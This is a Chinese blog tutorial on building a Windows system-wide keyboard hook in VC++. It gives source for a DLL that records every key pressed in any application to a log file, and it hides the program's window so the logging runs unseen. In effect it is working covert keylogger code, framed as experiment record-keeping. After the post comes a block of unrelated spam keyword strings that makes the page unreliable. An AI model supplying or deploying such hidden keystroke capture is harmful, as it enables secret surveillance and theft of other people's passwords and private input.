• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            Life is Good.

            Enhance Tech and English
            隨筆 - 65, 文章 - 20, 評論 - 21, 引用 - 0
            數(shù)據(jù)加載中……

            VC++引用鍵盤鉤子

            在科研生產(chǎn)中對研制、調(diào)試操作的記錄是非常有必要而且是有很重要價值的。通過對記錄信息的分析,可以在事故發(fā) 生后準確的分析出事故的起因、操作是否存在失誤等許多重要線索。通常需要記錄的信息是多種多樣的,如環(huán)境溫度記錄、軟件運行記錄、文件訪問記錄等等。這里 將以鍵盤信息記錄為例來講述類似的實驗信息自動記錄的一般實現(xiàn)方法。

              由于需要記錄當前系統(tǒng)下所有應用程序的鍵盤錄入記錄,因此必須采 取某種特殊的技術來實現(xiàn)本進程(監(jiān)視程序)對外部進程鍵盤操作信息的獲取。這種技術便是本文將要論述的核心--系統(tǒng)全局鉤子。本文下面將對Win32平臺 下全局鉤子的運行機制進行介紹并給出了一個具體的由VC++6.0編寫的捕獲鍵盤動作的鍵盤鉤子示例程序。

              系統(tǒng)鉤子和DLL

            鉤子的本質(zhì)是一段用以處理系統(tǒng)消息的程序,通過系統(tǒng)調(diào)用,將其掛入系統(tǒng)。鉤子的種類有很多,每種鉤子可以截獲并處理相應的消息,每當特定的消息發(fā)出,在 到達目的窗口之前,鉤子程序先行截獲該消息、得到對此消息的控制權。此時在鉤子函數(shù)中就可以對截獲的消息進行加工處理,甚至可以強制結束消息的傳遞。

              在本程序中我們需要捕獲在任意窗口上的鍵盤輸入,這就需要采用全局鉤子以便攔截整個系統(tǒng)的消息,而全局鉤子函數(shù)必須以DLL(動態(tài)連接庫)為載體進行封裝,VC6中有三種形式的MFC DLL可供選擇,即Regular statically linked to MFC DLL(標準靜態(tài)鏈接MFC DLL)、Regular using the shared MFC DLL(標準動態(tài)鏈接MFC DLL)以及Extension MFC DLL(擴展MFC DLL)。 在本程序中為方便起見采用了標準靜態(tài)連接MFC DLL。

              鍵盤鉤子程序示例

            本示例程序用到全局鉤子函數(shù),程序分兩部分:可執(zhí)行程序KeyKook和動態(tài)連接庫LaunchDLL。首先創(chuàng)建一個MFC AppWizard(DLL)工程,并選擇Regular statically linked to MFC DLL(標準靜態(tài)鏈接MFC DLL)選項,以建立MFC擴展動態(tài)連接庫LaunchDLL.dll。之后,在相應的頭文件中添加宏定義和待導出函數(shù)的聲明:

            #define DllExport __declspec(dllexport)
            ……
            DllExport void WINAPI InstallLaunchEv();
            ……
            class CLaunchDLLApp : public CWinApp
            {
             public:
              CLaunchDLLApp();
              //{{AFX_VIRTUAL(CLaunchDLLApp)
              //}}AFX_VIRTUAL
              //{{AFX_MSG(CLaunchDLLApp)
              // NOTE - the ClassWizard will add and remove member functions here.
              // DO NOT EDIT what you see in these blocks of generated code !
              //}}AFX_MSG
             DECLARE_MESSAGE_MAP()
            };

              同時在實現(xiàn)文件中添加全局變量Hook和全局函數(shù)LauncherHook()、SaveLog():

            HHOOK Hook;
            LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
            void SaveLog(char* c);

              最后,完成以上提到的這幾個函數(shù)的具體編碼實現(xiàn):

            CLaunchDLLApp theApp;
            ……
            DllExport void WINAPI InstallLaunchEv()
            {
             Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)LauncherHook,theApp.m_hInstance,0);
            }

              在此我們實現(xiàn)了Windows的系統(tǒng)鉤子的安裝,首先要調(diào)用SDK中的API函數(shù)SetWindowsHookEx()來安裝這個鉤子函數(shù),其原型是:

            HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);

            其中,第一個參數(shù)指定鉤子的類型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我們只關心鍵盤操作所以設定 為WH_KEYBOARD;第二個參數(shù)標識鉤子函數(shù)的入口地址,當鉤子鉤到任何消息后便調(diào)用這個函數(shù),即當不管系統(tǒng)的哪個窗口有鍵盤輸入馬上會引起 LauncherHook的動作;第三個參數(shù)是鉤子函數(shù)所在模塊的句柄,我們可以很簡單的設定其為本應用程序的實例句柄;最后一個參數(shù)是鉤子相關函數(shù)的 ID用以指定想讓鉤子去鉤哪個線程,為0時則攔截整個系統(tǒng)的消息,在本程序中鉤子需要為全局鉤子,故設定為0。

            LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
            {
             LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
             if(nCode==HC_ACTION)
             {
              if(lParam & 0x80000000)
              {
               char c[1];
               c[0]=wParam;
               SaveLog(c);
              }
             }
             return Result;
            }

              雖然調(diào)用CallNextHookEx()是可選的,但調(diào)用此函數(shù)的習慣是很值得推薦的;否則的話,其他安裝了鉤子的應用程序將不會接收到鉤子的通知而且還有可能產(chǎn)生不正確的結果,所以我們應盡量調(diào)用該函數(shù)除非絕對需要阻止其他程序獲取通知。

            void SaveLog(char* c)
            {
             CTime tm=CTime::GetCurrentTime();
             CString name;
             name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
             CFile file;
             if(!file.Open(name,CFile::modeReadWrite))
             {
              file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
             }
             file.SeekToEnd();
             file.Write(c,1);
             file.Close();
            }

              當有鍵彈起的時候就通過此函數(shù)將剛彈起的鍵保存到記錄文件中從而實現(xiàn)對鍵盤進行監(jiān)控記錄的目的。編譯完成便可得到運行時所需的鍵盤鉤子的動態(tài)連接庫和進行靜態(tài)鏈接時用到的lib庫。

            下面開始編寫調(diào)用此動態(tài)連接庫的主程序,并實現(xiàn)最后的集成。另外創(chuàng)建一個單文檔應用程序,把所需的動態(tài)鏈接庫頭文件、lib庫復制到工程目錄中,將動態(tài) 鏈接庫復制到Debug目錄下。然后鏈接DLL庫:在"Project","Settings…"的"Link"屬性頁內(nèi), 在"Object/librarymodules:"中填入"LaunchDLL.lib"。再通過"Project","Add To Project","Files…"將LaunchDLL.h添加到工程中來,最后在視類的源文件KeyHook.cpp中加入對其的引用:

            如果用VC2008,此處不用像VC6.0這樣設置, 只要把路徑加上, 并且引用lib就可以.

            #include "LaunchDLL.h"

              這樣我們就可以象使用本工程內(nèi)的 函數(shù)一樣使用動態(tài)連接庫LaunchDLL.dll中的所有導出函數(shù)了。接下來在視類重載虛函數(shù)OnInitialUpdate(),并添加代碼完成對鍵盤鉤子的安裝:

            如果用VC2008,不用重載此函數(shù), 可以直接加到InitInstance() 末尾處.

            InstallLaunchEv();

              到此為止其實已經(jīng)完成了所有的功能,但由于本程序是作為一個后臺監(jiān)控軟件運行,因此還應當采取其他措施以隱藏其程序界面。這只需在應用程序類CkeyHookApp的InitInstance()函數(shù)中將m_pMainWnd->ShowWindow(SW_SHOW)改為m_pMainWnd->ShowWindow(SW_HIDE)即可。

                   最后需要調(diào)用UnhookWindowsHookEx來卸載鉤子, 在LaunchDLL里完成,
                       HOOKDLLEXPORT void WINAPI StopHook()
                       {
                            UnhookWindowsHookEx(g_Hook);
                            g_Hook = NULL;
                       }

              小結

            編譯運行程序,運行起來之后并無什么現(xiàn)象,但通過Alt+Ctrl+Del在關閉程序對話框內(nèi)可以找到我們剛編寫完畢的程序"KeyHook",隨便在 什么程序中通過鍵盤輸入字符,然后打開記錄文件,我們會發(fā)現(xiàn):通過鍵盤鉤子,我們剛才輸入的字符都被記錄到記錄文件中了。系統(tǒng)鉤子具有相當強大的功能,通 過這種技術可以對幾乎所有的Windows系統(tǒng)消息進行攔截、監(jiān)視、處理。這種技術廣泛應用于各種自動監(jiān)控系統(tǒng)中。本文所述程序在Windows 2000 Professional + SP4下由Microsoft Visual C++ 6.0編譯調(diào)試通過。

            http://www.programfan.com/blog/article.asp?id=20338

            posted on 2011-03-14 21:48 Mike Song 閱讀(732) 評論(0)  編輯 收藏 引用

            青青久久精品国产免费看| 久久丫忘忧草产品| 久久99国产精品久久99果冻传媒| 久久久国产精品网站| 99久久做夜夜爱天天做精品| 久久妇女高潮几次MBA| 久久精品国产福利国产琪琪| 天天爽天天狠久久久综合麻豆| 久久久久无码专区亚洲av| 思思久久好好热精品国产| 久久精品视屏| 狼狼综合久久久久综合网| 久久亚洲私人国产精品| 91超碰碰碰碰久久久久久综合| 国产精品久久久久久影院| 中文字幕乱码人妻无码久久| 中文字幕精品久久| 久久精品成人免费国产片小草| 国产成人精品综合久久久| 色综合久久中文色婷婷| 天天躁日日躁狠狠久久| 一级a性色生活片久久无| 一本久久久久久久| 一本一道久久精品综合| 色综合久久久久综合体桃花网| 亚洲精品tv久久久久| 99久久国产综合精品网成人影院| 亚洲AV日韩精品久久久久久久| 天天综合久久一二三区| 精品无码久久久久久国产| 人妻少妇精品久久| 国产精品久久久久久久午夜片| 久久久99精品成人片中文字幕| 久久精品成人国产午夜| 久久国产精品久久久| 欧美一区二区三区久久综| 无码日韩人妻精品久久蜜桃| 奇米影视7777久久精品人人爽| 久久婷婷色综合一区二区| 精品久久久一二三区| 亚洲精品蜜桃久久久久久|